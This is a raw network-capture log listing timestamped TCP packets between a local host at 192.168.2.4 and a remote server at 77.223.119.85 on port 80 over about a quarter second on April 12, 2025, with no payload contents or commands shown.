Apr 12, 2025 19:35:15.802664995 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802676916 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802689075 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802689075 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802690029 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802690029 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802690029 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802690029 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802690029 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802690029 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802701950 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802716970 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802728891 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802738905 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802777052 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802788019 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802793026 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802793026 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802793026 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802800894 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802812099 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802818060 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802824020 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802834988 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802846909 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802851915 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802860022 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802870035 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802870989 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802881002 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802891016 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802901983 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802901983 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802915096 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802917957 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802927017 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802933931 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802938938 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802951097 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802954912 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802963018 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802973986 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802984953 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.802989960 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.802997112 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803008080 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803014040 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803019047 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803031921 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803033113 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803042889 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803047895 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803057909 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803067923 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803078890 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803082943 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803087950 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803100109 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803109884 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803112030 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803122044 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803129911 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803134918 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803147078 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803148985 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803158045 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803165913 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803169012 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803179026 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803189993 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803200006 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803203106 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803214073 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803225994 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803231955 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803231955 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803237915 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803248882 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803256035 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803261995 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803272963 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803278923 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803283930 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803296089 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803308010 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803318977 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803323030 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803330898 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803343058 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803343058 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803355932 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803363085 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803366899 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803379059 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803380013 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803390026 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803400993 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803405046 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803414106 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803427935 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803430080 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803441048 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803448915 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803455114 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803466082 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803478003 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803482056 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803488016 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803499937 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803502083 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803515911 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803519011 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803527117 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803536892 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803548098 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803558111 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803560019 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803570032 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803580999 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803580999 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803600073 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803610086 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803610086 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803611994 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803622961 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803637028 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803647041 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803667068 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803742886 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803752899 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803762913 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803774118 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803786993 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803787947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803800106 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803805113 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803811073 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803822994 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803827047 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803833961 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803845882 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803855896 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803865910 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803868055 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803879976 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803885937 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803891897 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803905010 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803908110 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803916931 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803926945 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803929090 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803940058 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803951025 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803961039 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803966045 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803971052 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803982019 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.803992987 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803992987 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.803993940 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804006100 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804014921 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804017067 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804028034 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804039001 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804039001 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804054976 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804059982 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804071903 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804083109 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804094076 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804095030 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804105997 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804112911 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804116964 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804127932 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804133892 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804141045 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804152012 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804157019 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804162025 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804173946 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804178953 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804183960 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804195881 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804205894 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804207087 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804218054 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804227114 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804228067 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804239988 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804249048 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804265022 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804280043 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804291010 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804291964 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804303885 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804313898 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804316044 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804330111 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804332018 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804343939 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:15.804394007 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804394007 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:15.804438114 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030246019 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030267954 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030278921 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030288935 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030302048 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030313969 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030324936 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030335903 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030345917 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030358076 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030368090 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030380011 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030390978 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030401945 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030414104 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030424118 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030433893 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030447006 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030457020 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030463934 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030463934 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030463934 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030463934 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030463934 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030463934 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030463934 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030468941 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030479908 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030492067 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030493975 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030503035 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030509949 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030514002 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030524969 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030529022 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030535936 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030545950 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030551910 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030556917 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030567884 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030567884 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030577898 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030589104 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030595064 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030600071 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030611038 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030621052 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030622005 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030631065 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030642986 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030643940 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030656099 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030673981 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030677080 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030687094 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030697107 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030699968 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030708075 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030718088 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030723095 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030729055 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030740976 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030747890 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030751944 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030762911 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030764103 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030775070 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030782938 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030786037 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030818939 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.030903101 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030914068 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030924082 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030935049 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030946016 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030956984 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030966997 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030977964 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.030988932 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031069040 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031071901 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031080008 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031090975 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031100988 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031111002 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031121016 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031131983 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031138897 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031145096 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031156063 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031167030 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031172037 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031177998 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031188011 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031191111 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031198025 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031208992 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031213045 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031220913 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031230927 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031234026 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031239986 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031246901 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031250954 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031260967 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031271935 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031281948 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031286001 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031295061 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031306982 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031317949 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031321049 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031330109 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031337976 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031341076 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031358004 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031383038 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031426907 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031439066 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031450033 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031459093 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031471014 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031481981 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031491995 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031503916 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.031514883 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.031514883 CEST	80	49713	77.223.119.85	192.168.2.4
